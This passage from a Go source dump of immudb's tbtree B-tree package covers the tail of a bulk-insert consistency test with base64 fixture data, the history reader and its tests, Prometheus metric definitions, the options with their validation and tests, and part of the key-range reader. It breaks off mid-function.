{"K":"AQAAAAAAAABJdmNuLmRlbW8uMGE2MjhkYTVmNTJkODQ2ZTQ4ZTYwNjQ1MTBiYzg1OTBlY2M2ZjYzNjUwZWY4M2Y0Y2I3NzFhMmMwNTE0ZGNmZUO2xYln7MRmAAAAAAAAAEoAdmNuLmRlbW8uMGE2MjhkYTVmNTJkODQ2ZTQ4ZTYwNjQ1MTBiYzg1OTBlY2M2ZjYzNjUwZWY4M2Y0Y2I3NzFhMmMwNTE0ZGNmZQAAAAAAAAAG","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AF9JVEVNLkFQSS1LRVkuMGE2MjhkYTVmNTJkODQ2ZTQ4ZTYwNjQ1MTBiYzg1OTBlY2M2ZjYzNjUwZWY4M2Y0Y2I3NzFhMmMwNTE0ZGNmZQ==","V":"AAAABQEAAAAAAAl38Neff7t52x3vQgBpyzVHQTuoQLBI8YWiaTPZ5GPI9ZoAAAAA"}, {"K":"AQAAAAAAAABDX0lURU0uQVBJLUtFWS1GVUxMLmRlbW8uckJPbXFPam1zMzVZUFBoaE1abENrdnF6UkZJanhhYy1PMGg0R2dsNkRqY0O2xYln7MRmAAAAAAAAAEoAdmNuLmRlbW8uMGE2MjhkYTVmNTJkODQ2ZTQ4ZTYwNjQ1MTBiYzg1OTBlY2M2ZjYzNjUwZWY4M2Y0Y2I3NzFhMmMwNTE0ZGNmZQAAAAAAAAAG","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AQAAAAAAAAAaZ2l0aHViLmNvbS9kb2NrZXIvZ28tdW5pdHMAAAAAAAAAAAAAAAAAAABKAHZjbi5kZW1vLjBhNjI4ZGE1ZjUyZDg0NmU0OGU2MDY0NTEwYmM4NTkwZWNjNmY2MzY1MGVmODNmNGNiNzcxYTJjMDUxNGRjZmUAAAAAAAAAAA==","V":"AAAAAAAAAAAAAAAA47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFUAAAAA"}, {"K":"AF9JVEVNLkxFREdFUi1OQU1FLnZjbi5kZW1vLjBhNjI4ZGE1ZjUyZDg0NmU0OGU2MDY0NTEwYmM4NTkwZWNjNmY2MzY1MGVmODNmNGNiNzcxYTJjMDUxNGRjZmU=","V":"AAAADAEAAAAAAAl88HpkwEmpRXStn2PtPpvaG5L3vSc9FFmYLNIVcPnWG2YAAAAA"}]`, } t.Run("no flush", func(t *testing.T) { tbtree, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) defer tbtree.Close() for _, d := range dataset { kvs := []*KVT{} require.NoError(t, json.Unmarshal([]byte(d), &kvs)) for _, kv := range kvs { err := tbtree.BulkInsert([]*KVT{kv}) require.NoError(t, err) consistencyCheck(t, tbtree, tbtree.root) } } }) t.Run("with flush", func(t *testing.T) { tbtree, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) defer tbtree.Close() for _, d := range dataset { kvs := []*KVT{} require.NoError(t, json.Unmarshal([]byte(d), &kvs)) for _, kv := range kvs { tbtree.Flush() err := tbtree.BulkInsert([]*KVT{kv}) require.NoError(t, err) consistencyCheck(t, tbtree, tbtree.root) } } }) } ================================================ FILE: embedded/tbtree/history_reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package tbtree type HistoryReaderSpec struct { Key []byte Offset uint64 DescOrder bool ReadLimit int } type HistoryReader struct { id int snapshot *Snapshot closed bool key []byte offset uint64 descOrder bool readLimit int } func newHistoryReader(id int, snap *Snapshot, spec *HistoryReaderSpec) (*HistoryReader, error) { if spec == nil { return nil, ErrIllegalArguments } //TODO (jeroiraz): locate leafnode at which `key`is stored so to avoid searching on the tree on each Read call return &HistoryReader{ id: id, snapshot: snap, closed: false, key: spec.Key, offset: spec.Offset, descOrder: spec.DescOrder, readLimit: spec.ReadLimit, }, nil } func (r *HistoryReader) Read() ([]TimedValue, error) { if r.closed { return nil, ErrAlreadyClosed } timedValues, _, err := r.snapshot.History(r.key, r.offset, r.descOrder, r.readLimit) if err != nil { return nil, err } r.offset += uint64(len(timedValues)) return timedValues, nil } func (r *HistoryReader) Close() error { if r.closed { return ErrAlreadyClosed } r.snapshot.closedReader(r.id) r.closed = true return nil } ================================================ FILE: embedded/tbtree/history_reader_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package tbtree import ( "testing" "github.com/stretchr/testify/require" ) func TestHistoryReaderEdgeCases(t *testing.T) { tbtree, err := Open(t.TempDir(), DefaultOptions()) require.NoError(t, err) snapshot, err := tbtree.Snapshot() require.NotNil(t, snapshot) require.NoError(t, err) defer snapshot.Close() _, err = snapshot.NewHistoryReader(nil) require.ErrorIs(t, err, ErrIllegalArguments) rspec := &HistoryReaderSpec{ Key: []byte{0, 0, 0, 250}, Offset: 0, DescOrder: false, } reader, err := snapshot.NewHistoryReader(rspec) require.NoError(t, err) err = snapshot.Close() require.ErrorIs(t, err, ErrReadersNotClosed) err = reader.Close() require.NoError(t, err) err = reader.Close() require.ErrorIs(t, err, ErrAlreadyClosed) _, err = reader.Read() require.ErrorIs(t, err, ErrAlreadyClosed) } func TestHistoryReaderAscendingScan(t *testing.T) { opts := DefaultOptions(). WithMaxKeySize(8). WithMaxValueSize(8) opts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize)) tbtree, err := Open(t.TempDir(), opts) require.NoError(t, err) itCount := 10 keyCount := 1000 monotonicInsertions(t, tbtree, itCount, keyCount, true) snapshot, err := tbtree.Snapshot() require.NotNil(t, snapshot) require.NoError(t, err) defer func() { err := snapshot.Close() require.NoError(t, err) }() rspec := &HistoryReaderSpec{ Key: []byte{0, 0, 0, 250}, Offset: 0, DescOrder: false, ReadLimit: itCount, } reader, err := snapshot.NewHistoryReader(rspec) require.NoError(t, err) defer reader.Close() err = snapshot.Close() require.ErrorIs(t, err, ErrReadersNotClosed) for { tvs, err := reader.Read() if err != nil { require.ErrorIs(t, err, ErrNoMoreEntries) break } require.Len(t, tvs, itCount) for i := 0; i < itCount; i++ { require.Equal(t, uint64(250+1+i*keyCount), tvs[i].Ts) } } } func TestHistoryReaderDescendingScan(t *testing.T) { opts := DefaultOptions(). WithMaxKeySize(4). WithMaxValueSize(8) opts.WithMaxNodeSize(requiredNodeSize(opts.maxKeySize, opts.maxValueSize)) tbtree, err := Open(t.TempDir(), opts) require.NoError(t, err) itCount := 10 keyCount := 1000 monotonicInsertions(t, tbtree, itCount, keyCount, true) snapshot, err := tbtree.Snapshot() require.NotNil(t, snapshot) require.NoError(t, err) defer func() { err := snapshot.Close() require.NoError(t, err) }() rspec := &HistoryReaderSpec{ Key: []byte{0, 0, 0, 250}, Offset: 0, DescOrder: true, ReadLimit: itCount, } reader, err := snapshot.NewHistoryReader(rspec) require.NoError(t, err) defer reader.Close() err = snapshot.Close() require.ErrorIs(t, err, ErrReadersNotClosed) for { tvs, err := reader.Read() if err != nil { require.ErrorIs(t, err, ErrNoMoreEntries) break } require.Len(t, tvs, itCount) for i := 0; i < itCount; i++ { require.Equal(t, uint64(250+1+i*keyCount), tvs[len(tvs)-1-i].Ts) } } } ================================================ FILE: embedded/tbtree/metrics.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package tbtree import ( "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/promauto" ) // TODO: Those should be put behind abstract metrics system to avoid dependency on // // prometheus inside embedded package var metricsFlushedNodesLastCycle = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_btree_flushed_nodes_last_cycle", Help: "Numbers of btree nodes written to disk during the last flush process", }, []string{"id", "kind"}) var metricsFlushedNodesTotal = promauto.NewCounterVec(prometheus.CounterOpts{ Name: "immudb_btree_flushed_nodes_total", Help: "Number of btree nodes written to disk during flush since the immudb process was started", }, []string{"id", "kind"}) var metricsFlushedEntriesLastCycle = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_btree_flushed_entries_last_cycle", Help: "Numbers of btree entries written to disk during the last flush process", }, []string{"id"}) var metricsFlushedEntriesTotal = promauto.NewCounterVec(prometheus.CounterOpts{ Name: "immudb_btree_flushed_entries_total", Help: "Number of btree entries written to disk during flush since the immudb process was started", }, []string{"id"}) var metricsCompactedNodesLastCycle = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_btree_compacted_nodes_last_cycle", Help: "Numbers of btree nodes written to disk during the last compaction process", }, []string{"id", "kind"}) var metricsCompactedNodesTotal = promauto.NewCounterVec(prometheus.CounterOpts{ Name: "immudb_btree_compacted_nodes_total", Help: "Number of btree nodes written to disk during compaction since the immudb process was started", }, []string{"id", "kind"}) var metricsCompactedEntriesLastCycle = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_btree_compacted_entries_last_cycle", Help: "Numbers of btree entries written to disk during the last compaction process", }, []string{"id"}) var metricsCompactedEntriesTotal = promauto.NewCounterVec(prometheus.CounterOpts{ Name: "immudb_btree_compacted_entries_total", Help: "Number of btree entries written to disk during compaction since the immudb process was started", }, []string{"id"}) var metricsCacheSizeStats = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_btree_cache_size", Help: "number of entries in btree cache", }, []string{"id"}) var metricsCacheHit = promauto.NewCounterVec(prometheus.CounterOpts{ Name: "immudb_btree_cache_hit", Help: "Number of btree cache hits when getting btree node", }, []string{"id"}) var metricsCacheMiss = promauto.NewCounterVec(prometheus.CounterOpts{ Name: "immudb_btree_cache_miss", Help: "Number of btree cache misses when getting btree node", }, []string{"id"}) var metricsCacheEvict = promauto.NewCounterVec(prometheus.CounterOpts{ Name: "immudb_btree_cache_evict", Help: "Number of btree nodes evicted from cache", }, []string{"id"}) var metricsBtreeDepth = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_btree_depth", Help: "Btree depth", }, []string{"id"}) var metricsBtreeNodeEntriesHistogramBuckets = []float64{ 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 15, 20, 25, 30, 40, 50, 75, 100, 200, 300, 400, 500, 600, 700, 800, 900, 1000, 1200, 1400, 1600, 1800, 2000, 2500, 3000, 3500, 4000, } var metricsBtreeInnerNodeEntries = promauto.NewHistogramVec(prometheus.HistogramOpts{ Name: "immudb_btree_inner_node_entries", Help: "Histogram of number of entries in as single inner btree node, calculated when visiting btree nodes", Buckets: metricsBtreeNodeEntriesHistogramBuckets, }, []string{"id"}) var metricsBtreeLeafNodeEntries = promauto.NewHistogramVec(prometheus.HistogramOpts{ Name: "immudb_btree_leaf_node_entries", Help: "Histogram of number of entries in as single leaf btree node, calculated when visiting btree nodes", Buckets: metricsBtreeNodeEntriesHistogramBuckets, }, []string{"id"}) var metricsBtreeNodesDataBeginOffset = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_btree_nodes_data_begin", Help: "Beginning offset for btree nodes data file", }, []string{"id"}) var metricsBtreeNodesDataEndOffset = promauto.NewGaugeVec(prometheus.GaugeOpts{ Name: "immudb_btree_nodes_data_end", Help: "End offset for btree nodes data appendable", }, []string{"id"}) ================================================ FILE: embedded/tbtree/options.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package tbtree import ( "fmt" "math" "os" "time" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/codenotary/immudb/embedded/cache" "github.com/codenotary/immudb/embedded/logger" ) const ( DefaultMaxNodeSize = 4096 DefaultFlushThld = 100_000 DefaultSyncThld = 1_000_000 DefaultFlushBufferSize = 4096 DefaultMaxBufferedDataSize = 1 << 22 // 4MB DefaultCleanUpPercentage float32 = 0 DefaultMaxActiveSnapshots = 100 DefaultRenewSnapRootAfter = time.Duration(1000) * time.Millisecond DefaultCacheSize = 1 << 27 // 128Mb DefaultFileMode = os.FileMode(0755) DefaultFileSize = 1 << 26 // 64Mb DefaultMaxKeySize = 1024 DefaultMaxValueSize = 512 DefaultCompactionThld = 2 DefaultDelayDuringCompaction = time.Duration(10) * time.Millisecond DefaultNodesLogMaxOpenedFiles = 10 DefaultHistoryLogMaxOpenedFiles = 1 DefaultCommitLogMaxOpenedFiles = 1 MinCacheSize = 1 ) type AppFactoryFunc func( rootPath string, subPath string, opts *multiapp.Options, ) (appendable.Appendable, error) type AppRemoveFunc func(rootPath, subPath string) error type OnFlushFunc func(releasedDataSize int) type Options struct { logger logger.Logger ID uint16 flushThld int syncThld int maxBufferedDataSize int // maximum amount of KV data that can be buffered before triggering flushing flushBufferSize int cleanupPercentage float32 maxActiveSnapshots int renewSnapRootAfter time.Duration cacheSize int cache *cache.Cache readOnly bool fileMode os.FileMode nodesLogMaxOpenedFiles int historyLogMaxOpenedFiles int commitLogMaxOpenedFiles int compactionThld int delayDuringCompaction time.Duration // options below are only set during initialization and stored as metadata maxNodeSize int maxKeySize int maxValueSize int fileSize int appFactory AppFactoryFunc appRemove AppRemoveFunc onFlush OnFlushFunc } func DefaultOptions() *Options { return &Options{ logger: logger.NewSimpleLogger("immudb ", os.Stderr), ID: 0, maxBufferedDataSize: DefaultMaxBufferedDataSize, flushThld: DefaultFlushThld, syncThld: DefaultSyncThld, flushBufferSize: DefaultFlushBufferSize, cleanupPercentage: DefaultCleanUpPercentage, maxActiveSnapshots: DefaultMaxActiveSnapshots, renewSnapRootAfter: DefaultRenewSnapRootAfter, cacheSize: DefaultCacheSize, readOnly: false, fileMode: DefaultFileMode, compactionThld: DefaultCompactionThld, delayDuringCompaction: DefaultDelayDuringCompaction, nodesLogMaxOpenedFiles: DefaultNodesLogMaxOpenedFiles, historyLogMaxOpenedFiles: DefaultHistoryLogMaxOpenedFiles, commitLogMaxOpenedFiles: DefaultCommitLogMaxOpenedFiles, // options below are only set during initialization and stored as metadata maxNodeSize: DefaultMaxNodeSize, maxKeySize: DefaultMaxKeySize, maxValueSize: DefaultMaxValueSize, fileSize: DefaultFileSize, } } func (opts *Options) Validate() error { if opts == nil { return fmt.Errorf("%w: nil options", ErrInvalidOptions) } if opts.fileSize <= 0 { return fmt.Errorf("%w: invalid FileSize", ErrInvalidOptions) } if opts.maxKeySize <= 0 || opts.maxKeySize > math.MaxUint16 { return fmt.Errorf("%w: invalid MaxKeySize", ErrInvalidOptions) } if opts.maxValueSize <= 0 || opts.maxValueSize > math.MaxUint16 { return fmt.Errorf("%w: invalid MaxValueSize", ErrInvalidOptions) } if opts.maxNodeSize < requiredNodeSize(opts.maxKeySize, opts.maxValueSize) { return fmt.Errorf("%w: invalid MaxNodeSize", ErrInvalidOptions) } if opts.flushThld <= 0 { return fmt.Errorf("%w: invalid FlushThld", ErrInvalidOptions) } if opts.syncThld <= 0 { return fmt.Errorf("%w: invalid SyncThld", ErrInvalidOptions) } if opts.flushThld > opts.syncThld { return fmt.Errorf("%w: FlushThld must be lower or equal to SyncThld", ErrInvalidOptions) } if opts.flushBufferSize <= 0 { return fmt.Errorf("%w: invalid FlushBufferSize", ErrInvalidOptions) } if opts.cleanupPercentage < 0 || opts.cleanupPercentage > 100 { return fmt.Errorf("%w: invalid CleanupPercentage", ErrInvalidOptions) } if opts.nodesLogMaxOpenedFiles <= 0 { return fmt.Errorf("%w: invalid NodesLogMaxOpenedFiles", ErrInvalidOptions) } if opts.historyLogMaxOpenedFiles <= 0 { return fmt.Errorf("%w: invalid HistoryLogMaxOpenedFiles", ErrInvalidOptions) } if opts.commitLogMaxOpenedFiles <= 0 { return fmt.Errorf("%w: invalid CommitLogMaxOpenedFiles", ErrInvalidOptions) } if opts.maxActiveSnapshots <= 0 { return fmt.Errorf("%w: invalid MaxActiveSnapshots", ErrInvalidOptions) } if opts.renewSnapRootAfter < 0 { return fmt.Errorf("%w: invalid RenewSnapRootAfter", ErrInvalidOptions) } if opts.cacheSize < MinCacheSize || (opts.cacheSize == 0 && opts.cache == nil) { return fmt.Errorf("%w: invalid CacheSize", ErrInvalidOptions) } if opts.compactionThld <= 0 { return fmt.Errorf("%w: invalid CompactionThld", ErrInvalidOptions) } if opts.logger == nil { return fmt.Errorf("%w: invalid Logger", ErrInvalidOptions) } return nil } func (opts *Options) WithLogger(logger logger.Logger) *Options { opts.logger = logger return opts } func (opts *Options) WithAppFactory(appFactory AppFactoryFunc) *Options { opts.appFactory = appFactory return opts } func (opts *Options) WithAppRemoveFunc(AppRemove AppRemoveFunc) *Options { opts.appRemove = AppRemove return opts } func (opts *Options) WithFlushThld(flushThld int) *Options { opts.flushThld = flushThld return opts } func (opts *Options) WithSyncThld(syncThld int) *Options { opts.syncThld = syncThld return opts } func (opts *Options) WithFlushBufferSize(size int) *Options { opts.flushBufferSize = size return opts } func (opts *Options) WithCleanupPercentage(cleanupPercentage float32) *Options { opts.cleanupPercentage = cleanupPercentage return opts } func (opts *Options) WithMaxActiveSnapshots(maxActiveSnapshots int) *Options { opts.maxActiveSnapshots = maxActiveSnapshots return opts } func (opts *Options) WithRenewSnapRootAfter(renewSnapRootAfter time.Duration) *Options { opts.renewSnapRootAfter = renewSnapRootAfter return opts } func (opts *Options) WithCacheSize(cacheSize int) *Options { opts.cacheSize = cacheSize return opts } func (opts *Options) WithCache(cache *cache.Cache) *Options { opts.cache = cache return opts } func (opts *Options) WithReadOnly(readOnly bool) *Options { opts.readOnly = readOnly return opts } func (opts *Options) WithFileMode(fileMode os.FileMode) *Options { opts.fileMode = fileMode return opts } func (opts *Options) WithNodesLogMaxOpenedFiles(nodesLogMaxOpenedFiles int) *Options { opts.nodesLogMaxOpenedFiles = nodesLogMaxOpenedFiles return opts } func (opts *Options) WithHistoryLogMaxOpenedFiles(historyLogMaxOpenedFiles int) *Options { opts.historyLogMaxOpenedFiles = historyLogMaxOpenedFiles return opts } func (opts *Options) WithCommitLogMaxOpenedFiles(commitLogMaxOpenedFiles int) *Options { opts.commitLogMaxOpenedFiles = commitLogMaxOpenedFiles return opts } func (opts *Options) WithMaxKeySize(maxKeySize int) *Options { opts.maxKeySize = maxKeySize return opts } func (opts *Options) WithMaxValueSize(maxValueSize int) *Options { opts.maxValueSize = maxValueSize return opts } func (opts *Options) WithMaxNodeSize(maxNodeSize int) *Options { opts.maxNodeSize = maxNodeSize return opts } func (opts *Options) WithFileSize(fileSize int) *Options { opts.fileSize = fileSize return opts } func (opts *Options) WithCompactionThld(compactionThld int) *Options { opts.compactionThld = compactionThld return opts } func (opts *Options) WithDelayDuringCompaction(delay time.Duration) *Options { opts.delayDuringCompaction = delay return opts } func (opts *Options) WithIdentifier(id uint16) *Options { opts.ID = id return opts } func (opts *Options) WithMaxBufferedDataSize(size int) *Options { opts.maxBufferedDataSize = size return opts } func (opts *Options) WithOnFlushFunc(onFlush OnFlushFunc) *Options { opts.onFlush = onFlush return opts } ================================================ FILE: embedded/tbtree/options_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package tbtree import ( "testing" "time" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/appendable/multiapp" "github.com/stretchr/testify/require" ) func TestInvalidOptions(t *testing.T) { for _, d := range []struct { n string opts *Options }{ {"nil", nil}, {"empty", &Options{}}, {"logger", DefaultOptions().WithLogger(nil)}, {"FileSize", DefaultOptions().WithFileSize(0)}, {"FlushThld", DefaultOptions().WithFlushThld(0)}, {"WithSyncThld", DefaultOptions().WithSyncThld(0)}, {"FlushThld>WithSyncThld", DefaultOptions().WithFlushThld(10).WithSyncThld(1)}, {"FlushBufferSize", DefaultOptions().WithFlushBufferSize(0)}, {"CleanupPercentage<0", DefaultOptions().WithCleanupPercentage(-1)}, {"CleanupPercentage>100", DefaultOptions().WithCleanupPercentage(101)}, {"MaxActiveSnapshots", DefaultOptions().WithMaxActiveSnapshots(0)}, {"RenewSnapRootAfter", DefaultOptions().WithRenewSnapRootAfter(-1)}, {"CacheSize", DefaultOptions().WithCacheSize(0)}, {"CompactionThld", DefaultOptions().WithCompactionThld(-1)}, {"MaxKeySize", DefaultOptions().WithMaxKeySize(0)}, {"MaxValueSize", DefaultOptions().WithMaxValueSize(0)}, {"MaxNodeSize", DefaultOptions().WithMaxNodeSize(requiredNodeSize(DefaultMaxKeySize, DefaultMaxValueSize) - 1)}, {"NodesLogMaxOpenedFiles", DefaultOptions().WithNodesLogMaxOpenedFiles(0)}, {"HistoryLogMaxOpenedFiles", DefaultOptions().WithHistoryLogMaxOpenedFiles(0)}, {"CommitLogMaxOpenedFiles", DefaultOptions().WithCommitLogMaxOpenedFiles(0)}, } { t.Run(d.n, func(t *testing.T) { require.ErrorIs(t, d.opts.Validate(), ErrInvalidOptions) }) } } func TestDefaultOptions(t *testing.T) { require.NoError(t, DefaultOptions().Validate()) } func TestValidOptions(t *testing.T) { opts := &Options{} require.Equal(t, DefaultCacheSize, opts.WithCacheSize(DefaultCacheSize).cacheSize) require.Equal(t, DefaultFileMode, opts.WithFileMode(DefaultFileMode).fileMode) require.Equal(t, DefaultFileSize, opts.WithFileSize(DefaultFileSize).fileSize) require.Equal(t, DefaultFlushThld, opts.WithFlushThld(DefaultFlushThld).flushThld) require.Equal(t, DefaultSyncThld, opts.WithSyncThld(DefaultSyncThld).syncThld) require.Equal(t, DefaultFlushBufferSize, opts.WithFlushBufferSize(DefaultFlushBufferSize).flushBufferSize) require.Equal(t, DefaultCleanUpPercentage+1, opts.WithCleanupPercentage(DefaultCleanUpPercentage+1).cleanupPercentage) require.Equal(t, DefaultMaxActiveSnapshots, opts.WithMaxActiveSnapshots(DefaultMaxActiveSnapshots).maxActiveSnapshots) require.Equal(t, DefaultMaxNodeSize, opts.WithMaxNodeSize(DefaultMaxNodeSize).maxNodeSize) require.Equal(t, DefaultRenewSnapRootAfter, opts.WithRenewSnapRootAfter(DefaultRenewSnapRootAfter).renewSnapRootAfter) require.Equal(t, 256, opts.WithMaxKeySize(256).maxKeySize) require.Equal(t, 256, opts.WithMaxValueSize(256).maxValueSize) require.Equal(t, 1, opts.WithCompactionThld(1).compactionThld) require.Equal(t, time.Duration(1)*time.Millisecond, opts.WithDelayDuringCompaction(time.Duration(1)*time.Millisecond).delayDuringCompaction) require.False(t, opts.WithReadOnly(false).readOnly) require.NotNil(t, opts.WithLogger(DefaultOptions().logger)) require.Equal(t, 2, opts.WithNodesLogMaxOpenedFiles(2).nodesLogMaxOpenedFiles) require.Equal(t, 3, opts.WithHistoryLogMaxOpenedFiles(3).historyLogMaxOpenedFiles) require.Equal(t, 1, opts.WithCommitLogMaxOpenedFiles(1).commitLogMaxOpenedFiles) require.NoError(t, opts.Validate()) require.True(t, opts.WithReadOnly(true).readOnly) require.NoError(t, opts.Validate()) require.Nil(t, opts.WithAppFactory(nil).appFactory) require.NoError(t, opts.Validate()) appFactoryCalled := false appFactory := func(rootPath, subPath string, opts *multiapp.Options) (appendable.Appendable, error) { appFactoryCalled = true return nil, nil } require.NotNil(t, opts.WithAppFactory(appFactory).appFactory) require.NoError(t, opts.Validate()) opts.appFactory("", "", nil) require.True(t, appFactoryCalled) } ================================================ FILE: embedded/tbtree/reader.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package tbtree import ( "bytes" "errors" ) type Reader struct { snapshot *Snapshot id int seekKey []byte endKey []byte prefix []byte inclusiveSeek bool inclusiveEnd bool includeHistory bool descOrder bool path path leafNode *leafNode leafOffset int leafValue *leafValue hoff int offset uint64 skipped uint64 closed bool } type ReaderSpec struct { SeekKey []byte EndKey []byte Prefix []byte InclusiveSeek bool InclusiveEnd bool IncludeHistory bool DescOrder bool Offset uint64 } func (r *Reader) Reset() error { if r.closed { return ErrAlreadyClosed } r.leafNode = nil return nil } func (r *Reader) ReadBetween(initialTs, finalTs uint64) (key []byte, value []byte, ts, hc uint64, err error) { if r.closed { return nil, nil, 0, 0, ErrAlreadyClosed } if r.leafNode == nil { path, startingLeaf, startingOffset, err := r.snapshot.root.findLeafNode(r.seekKey, nil, 0, nil, r.descOrder) if errors.Is(err, ErrKeyNotFound) { return nil, nil, 0, 0, ErrNoMoreEntries } if err != nil { return nil, nil, 0, 0, err } r.path = path r.leafNode = startingLeaf r.leafOffset = startingOffset r.skipped = 0 } for { if (!r.descOrder && len(r.leafNode.values) == r.leafOffset) || (r.descOrder && r.leafOffset < 0) { for { if len(r.path) == 0 { return nil, nil, 0, 0, ErrNoMoreEntries } parent := r.path[len(r.path)-1] var parentPath []*pathNode if len(r.path) > 1 { parentPath = r.path[:len(r.path)-1] } path, leaf, off, err := parent.node.findLeafNode(r.seekKey, parentPath, parent.offset+1, nil, r.descOrder) if errors.Is(err, ErrKeyNotFound) { r.path = r.path[:len(r.path)-1] continue } if err != nil { return nil, nil, 0, 0, err } r.path = path r.leafNode = leaf r.leafOffset = off break } } leafValue := r.leafNode.values[r.leafOffset] if r.descOrder { r.leafOffset-- } else { r.leafOffset++ } if !r.inclusiveSeek && bytes.Equal(r.seekKey, leafValue.key) { continue } if len(r.endKey) > 0 { cmp := bytes.Compare(r.endKey, leafValue.key) if r.descOrder && (cmp > 0 || (cmp == 0 && !r.inclusiveEnd)) { return nil, nil, 0, 0, ErrNoMoreEntries } if !r.descOrder && (cmp < 0 || (cmp == 0 && !r.inclusiveEnd)) { return nil, nil, 0, 0, ErrNoMoreEntries } } // prefix mismatch if len(r.prefix) > 0 && (len(leafValue.key) < len(r.prefix) || !bytes.Equal(r.prefix, leafValue.key[:len(r.prefix)])) { continue } if r.skipped < r.offset { r.skipped++ continue } value, ts, hc, err := leafValue.lastUpdateBetween(r.snapshot.t.hLog, initialTs, finalTs) if err == nil { return cp(leafValue.key), cp(value), ts, hc, nil } } } func (r *Reader) Read() (key []byte, value []byte, ts, hc uint64, err error) { if r.closed { return nil, nil, 0, 0, ErrAlreadyClosed } if r.leafNode == nil { path, startingLeaf, startingOffset, err := r.snapshot.root.findLeafNode(r.seekKey, nil, 0, nil, r.descOrder) if errors.Is(err, ErrKeyNotFound) { return nil, nil, 0, 0, ErrNoMoreEntries } if err != nil { return nil, nil, 0, 0, err } r.path = path r.leafNode = startingLeaf r.leafOffset = startingOffset r.skipped = 0 } for { if r.leafValue == nil { if (!r.descOrder && len(r.leafNode.values) == r.leafOffset) || (r.descOrder && r.leafOffset < 0) { for { if len(r.path) == 0 { return nil, nil, 0, 0, ErrNoMoreEntries } parent := r.path[len(r.path)-1] var parentPath []*pathNode if len(r.path) > 1 { parentPath = r.path[:len(r.path)-1] } path, leaf, off, err := parent.node.findLeafNode(r.seekKey, parentPath, parent.offset+1, nil, r.descOrder) if errors.Is(err, ErrKeyNotFound) { r.path = r.path[:len(r.path)-1] continue } if err != nil { return nil, nil, 0, 0, err } r.path = path r.leafNode = leaf r.leafOffset = off break } } } if r.leafValue == nil { leafValue := r.leafNode.values[r.leafOffset] if r.descOrder { r.leafOffset-- } else { r.leafOffset++ } if !r.inclusiveSeek && bytes.Equal(r.seekKey, leafValue.key) { continue } if len(r.endKey) > 0 { cmp := bytes.Compare(r.endKey, leafValue.key) if r.descOrder && (cmp > 0 || (cmp == 0 && !r.inclusiveEnd)) { return nil, nil, 0, 0, ErrNoMoreEntries } if !r.descOrder && (cmp < 0 || (cmp == 0 && !r.inclusiveEnd)) { return nil, nil, 0, 0, ErrNoMoreEntries } } // prefix mismatch if len(r.prefix) > 0 && (len(leafValue.key) < len(r.prefix) || !bytes.Equal(r.prefix, leafValue.key[:len(r.prefix)])) { continue } if r.skipped < r.offset { r.skipped++ continue } r.leafValue = leafValue } if r.leafValue == nil { continue } if !r.includeHistory { leafValue := r.leafValue r.leafValue = nil return cp(leafValue.key), cp(leafValue.timedValue().Value), leafValue.timedValue().Ts, leafValue.historyCount(), nil } tvs, hc, err := r.leafValue.history(r.leafValue.key, uint64(r.hoff), r.descOrder, 1, 